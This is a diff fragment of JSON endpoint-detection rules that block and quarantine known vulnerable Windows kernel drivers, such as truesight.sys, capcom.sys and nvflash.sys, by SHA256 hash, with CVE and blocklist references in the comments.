+  "id": "ec476f7e-bc37-5683-8baa-6ab34ee94050",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617867Z",
+  "creation_date": "2026-03-23T11:45:29.617880Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617886Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0e9072759433abf3304667b332354e0c635964ff930de034294bf13d40da2a6f",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ec4e29c1-20f2-5ca1-a0e7-21bef6b25cf6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473701Z",
+  "creation_date": "2026-03-23T11:45:31.473705Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473715Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "09969e2f95e2468871720c997f479c1e7eec291f9508d8bab54c097649566538",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ec59c5b0-cb29-51b6-be49-befb1da34ac3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817116Z",
+  "creation_date": "2026-03-23T11:45:31.817117Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817123Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "70596abead023e751825869d88ab90ebce30d5dd5dd91a4843846c34b7c81dfc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ec5b1eed-3a22-54c6-9c4c-b9a7d5930607",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473945Z",
+  "creation_date": "2026-03-23T11:45:31.473958Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473968Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1452d24bb5e59c62c57be70d13751ed1b64ffbc70f58767afee40b132e39fd70",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ec5eb4cc-ff6d-5ee5-9489-9727761eafde",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479775Z",
+  "creation_date": "2026-03-23T11:45:30.479777Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479782Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ac26150bc98ee0419a8b23e4cda3566e0eba94718ba8059346a9696401e9793d",
+  "comment": "Vulnerable Kernel Driver (aka capcom.sys) [https://www.loldrivers.io/drivers/b51c441a-12c7-407d-9517-559cc0030cf6/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ec707408-bd85-53a1-bc1e-a705bfdee506",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148205Z",
+  "creation_date": "2026-03-23T11:45:31.148207Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148213Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "02436f1be9a7bd6d83e2166d256df9d7d009c58423a5f534181566575f065475",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ec82d587-a9f1-5196-9f9e-cc487dfa3d2a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620852Z",
+  "creation_date": "2026-03-23T11:45:29.620854Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620860Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5be61901f41d55e6fbd0994869015448f8eb0450ae38f67b75ddb594c3325aac",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ec9749b9-c875-5de9-b273-d7035afd53a7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492055Z",
+  "creation_date": "2026-03-23T11:45:31.492057Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492062Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "65c5ce7ced3df894429ae5afc7280d5f41a46af2bed07bd67915c338f62c0ed3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ec982844-38dd-5f8c-b0b1-6a5ce724060b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144617Z",
+  "creation_date": "2026-03-23T11:45:31.144618Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144624Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aa99f49439a62d581d688d0fa420677d7fb45bc68ad6a998237b32f0acd44abe",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ec9b57fa-3fc8-5f62-ad35-33f7bafafb3d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489281Z",
+  "creation_date": "2026-03-23T11:45:31.489284Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489292Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "25be784945f4308c9e2ee97b66132d938b4a0b298f09bc837809f312257bff10",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "eca8f958-78b9-5c3c-88cc-2caffb98c29f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971696Z",
+  "creation_date": "2026-03-23T11:45:29.971698Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971703Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "27f5c5eb9a5fc9e02d3ac3cd83fc26b07f3d0143b03db69d6dcf7554d0c50fb6",
+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ecb1ec53-0ffb-5345-acce-4a68bd1c0d2f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834353Z",
+  "creation_date": "2026-03-23T11:45:30.834356Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834365Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ce3b64eb877bfb70bfa2b7b436a40e95d59a21999f14218bc34bf588bd7b06bd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ecb708fa-2483-5b89-8f08-d2f73a9b3155",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477741Z",
+  "creation_date": "2026-03-23T11:45:31.477745Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477755Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f3c55a31740816e8aba78ab270aa26999da006dcea48e73cae0b6bee2e326f4b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ecc12212-a9b6-524e-9544-088928d606ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499590Z",
+  "creation_date": "2026-03-23T11:45:31.499593Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499602Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a5c69d0f3777e09938fc2ecc46b688189241467166c38d9cce8a3ca5379e27e7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ecc5e407-be8e-5825-a998-96feca5bbedb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141576Z",
+  "creation_date": "2026-03-23T11:45:31.141578Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141584Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dc7bd7db82d8aba66b589dc5b48e114df6d20c121b088295ed55798cf6deb427",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ecce9d9a-b037-5514-9ff4-bd171876320a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472955Z",
+  "creation_date": "2026-03-23T11:45:31.472958Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472966Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d4522bc656775881708a62fa68dfc0eaee7cc91b542003b426cdc1f6243bb447",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ecde9558-37de-5be8-ace3-7a82be3d474d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975673Z",
+  "creation_date": "2026-03-23T11:45:29.975675Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975680Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cf3180f5308af002ac5d6fd5b75d1340878c375f0aebc3157e3bcad6322b7190",
+  "comment": "Novell XTier vulnerable driver (aka libnicm.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ecec630f-04b2-5cc6-a7c5-8a841d48db88",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159085Z",
+  "creation_date": "2026-03-23T11:45:31.159088Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159093Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3e7256f5675f54672942fb1300a20c721bf437cdb4426ba7c412c8ab5fcb1321",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ecf093cc-21aa-55c8-9706-9bef5833626c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820355Z",
+  "creation_date": "2026-03-23T11:45:30.820357Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820363Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e3dbafce5ad2bf17446d0f853aeedf58cc25aa1080ab97e22375a1022d6acb16",
+  "comment": "Vulnerable Kernel Driver (aka rtport.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ecf7870f-0dd6-5477-bb0c-a70660d579b6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.807796Z",
+  "creation_date": "2026-03-23T11:45:31.807799Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.807806Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "195b6b52d6279cbb21ad736aa73aa01f61a065a4d5dcf8a41a7ee36b9f108a53",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ecff96fc-71e7-5701-b544-ca995e264b3a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476973Z",
+  "creation_date": "2026-03-23T11:45:31.476977Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476987Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e882e73f6cced1a165085580a41d3f1e7659c6d99644a7770d1f385a6668bce",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ed0de857-cf10-5ccb-9bdc-022d9dc4daee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824137Z",
+  "creation_date": "2026-03-23T11:45:31.824140Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824148Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c35a097545fdb2fa0d3b1a1b69e7222629b19eca8347f0a8c23b4603959490fb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ed214459-5d8c-5901-82ad-2511de7ec128",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
